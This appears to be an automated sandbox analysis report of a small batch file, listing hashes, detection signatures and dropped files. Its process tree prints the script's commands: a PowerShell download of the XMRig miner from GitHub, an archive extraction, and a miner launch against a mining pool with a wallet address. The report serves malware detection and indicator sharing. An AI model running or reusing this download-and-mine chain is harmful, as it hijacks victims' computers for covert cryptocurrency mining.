Analysis
-
max time kernel
1796s -
max time network
1792s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
-
submitted
01/01/2024, 13:16
General
-
Target
tesy - Copy.bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 64 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Blocklisted process makes network request 2 IoCs
-
Executes dropped EXE 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
Filesize
1KB
MD53be58980b8d64d4148b303a9cb9a185f
SHA1dbbe55150504b6d5e67a6ecab4976a9b33322745
SHA2568a9e1d072d7208443e01b36c089293bd25838dd0ace59bbe2e5ac15bd33ac110
SHA5126b8d721ebd25cc8b1f7d7fd95e9f840e7cc568f779cc52668c39b72f8402bb8a2167c813bb557544d1349c3c3c3c411fe59321fd1ff85a4d7f913f87189ce037
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
3.2MB
MD54b2275e8df65719009314a0a23a45558
SHA195fbef4629f6ace3dba90df63a9825e503e3c7eb
SHA2564b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699
SHA512afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f
-
Filesize
7.9MB
MD5e2fe87cc2c7dab8ca6516620dccd1381
SHA1f714ec0448325435103519452610cf7aadf8bbba
SHA256d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA5128455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6
-
Filesize
136KB
-
Filesize
9.9MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
472KB
-
Filesize
64KB
-
Filesize
9.9MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
72KB
-
Filesize
40KB
-
Filesize
9.9MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
256KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB